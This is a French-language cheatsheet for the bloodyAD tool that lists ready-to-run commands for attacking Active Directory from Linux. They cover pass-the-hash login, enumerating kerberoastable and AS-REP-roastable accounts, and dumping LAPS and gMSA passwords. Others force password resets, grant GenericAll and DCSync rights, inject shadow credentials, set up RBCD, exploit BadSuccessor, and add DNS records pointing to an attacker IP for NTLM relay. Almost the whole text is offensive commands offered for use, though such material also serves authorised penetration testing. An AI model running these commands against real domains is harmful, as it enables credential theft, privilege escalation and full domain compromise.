pipx install git+https://github.com/CravateRouge/bloodyADDescription: Installe bloodyAD dans un environnement isolé via pipx (recommandé).
Cheatsheets
Cheatsheet bloodyAD : énumération AD, ACL, Kerberos, credentials et exploitation depuis Linux.
pipx install git+https://github.com/CravateRouge/bloodyADDescription: Installe bloodyAD dans un environnement isolé via pipx (recommandé).
sudo apt install bloodyad -yDescription: Installation via APT sur Debian/Ubuntu si le paquet est disponible.
bloodyAD --helpDescription: Vérifie l'installation et affiche les commandes disponibles.
bloodyAD --host $DC -d $DOMAIN -u '$USER' -p '$PASS' [command]Description: Syntaxe générale avec authentification password classique.
bloodyAD --host $DC -d $DOMAIN -u '$USER' -p ':$NTHASH' [command]Description: Pass-the-Hash : préfixer le hash avec `:` en guise de mot de passe.
bloodyAD --host $DC -d $DOMAIN -k [command]Description: Authentification Kerberos (ccache courant). Utiliser le FQDN, pas l'IP.
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get children --otype userDescription: Liste tous les comptes utilisateurs du domaine.
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get object '$TARGET_USER'Description: Récupère tous les attributs LDAP d'un utilisateur spécifique.
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get object '$TARGET_USER' --attr userAccountControlDescription: Lit les flags UAC (ACCOUNTDISABLE, DONT_REQ_PREAUTH, etc.).
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get object '$TARGET_USER' --attr name,distinguishedName,objectSidDescription: Récupère des attributs précis sur un objet utilisateur.
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get children --otype groupDescription: Liste tous les groupes du domaine.
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get membership '$GROUP'Description: Énumère les membres d'un groupe AD.
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get object '$USER' --attr memberOfDescription: Affiche tous les groupes dont un utilisateur est membre.
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get children --otype computerDescription: Liste tous les comptes machine du domaine.
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get children --otype trustedDomainDescription: Énumère les relations de confiance inter-domaines.
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get object 'DC=$DOMAIN,DC=$TLD' --attr minPwdLengthDescription: Récupère la politique de mot de passe du domaine.
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get object 'DC=$DOMAIN,DC=$TLD' --attr ms-DS-MachineAccountQuotaDescription: Vérifie le quota de comptes machine créables par un utilisateur standard.
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get dnsDump > dns_records.txtDescription: Dump l'ensemble des enregistrements DNS du domaine.
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get writable --detailDescription: Trouve tous les attributs sur lesquels l'utilisateur courant a des droits d'écriture.
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get writable --include-delDescription: Inclut les objets supprimés dans la recherche de droits d'écriture.
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get object '$TARGET' --attr ntsecuritydescriptor --resolve-sdDescription: Affiche le descripteur de sécurité d'un objet (ACL lisible).
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get search --filter '(&(samAccountType=805306368)(servicePrincipalName=*))' --attr sAMAccountNameDescription: Trouve les comptes kerberoastables (SPN défini).
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountNameDescription: Trouve les comptes AS-REP roastables (DONT_REQ_PREAUTH activé et compte actif).
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get object '$GMSA$' --attr msDS-ManagedPasswordDescription: Lit le secret géré d'un compte gMSA/dMSA (requiert les droits ACL appropriés).
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwdDescription: Dump les mots de passe LAPS de toutes les machines accessibles.
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get object '$COMPUTER$' --attr ms-Mcs-AdmPwdDescription: Lit le mot de passe LAPS d'une machine spécifique.
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS set password '$TARGET_USER' '$NEW_PASS'Description: Force le changement de mot de passe d'un utilisateur (requiert GenericAll/WriteProp).
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS add groupMember '$GROUP' '$MEMBER'Description: Ajoute un utilisateur ou objet dans un groupe AD.
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS delete groupMember '$GROUP' '$MEMBER'Description: Retire un membre d'un groupe AD.
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS add genericAll '$TARGET' '$ATTACKER_USER'Description: Accorde GenericAll sur un objet cible (contrôle total).
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS set owner '$TARGET' '$NEW_OWNER'Description: Change le propriétaire d'un objet AD (permet d'accorder ensuite des droits).
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS add dcsync '$TARGET'Description: Accorde les droits DCSync (GetChangesAll) à un objet pour extraire les hashes du domaine.
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS add uac '$TARGET_USER' -f DONT_REQ_PREAUTHDescription: Active AS-REP roasting sur un compte (supprime la pré-authentification Kerberos).
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS remove uac '$TARGET_USER' -f ACCOUNTDISABLEDescription: Réactive un compte désactivé.
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS add uac '$TARGET' -f TRUSTED_TO_AUTH_FOR_DELEGATIONDescription: Active la constrained delegation avec protocol transition (S4U2Self).
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS add shadowCredentials '$TARGET'Description: Injecte des shadow credentials (msDS-KeyCredentialLink) pour obtenir un TGT sans mot de passe.
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS set object '$TARGET' servicePrincipalName -v 'cifs/service'Description: Assigne un SPN à un compte pour le rendre kerberoastable.
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS add rbcd '$DELEGATE_TO$' '$DELEGATE_FROM$'Description: Configure le RBCD (Resource-Based Constrained Delegation) sur une machine cible.
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS add computer '<computer_name>' '<computer_password>'Description: Crée un compte machine (utile pour RBCD si le quota MachineAccountQuota > 0).
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS add badSuccessor '$ATTACKER_DMSA'Description: Exploite la primitive BadSuccessor via un compte dMSA contrôlé.
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS add dnsRecord '$RECORD' '$ATTACKER_IP'Description: Ajoute un enregistrement DNS (utile pour NTLM relay ou coercition).
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS remove dnsRecord '$RECORD' '<ip>'Description: Supprime un enregistrement DNS précédemment ajouté (nettoyage).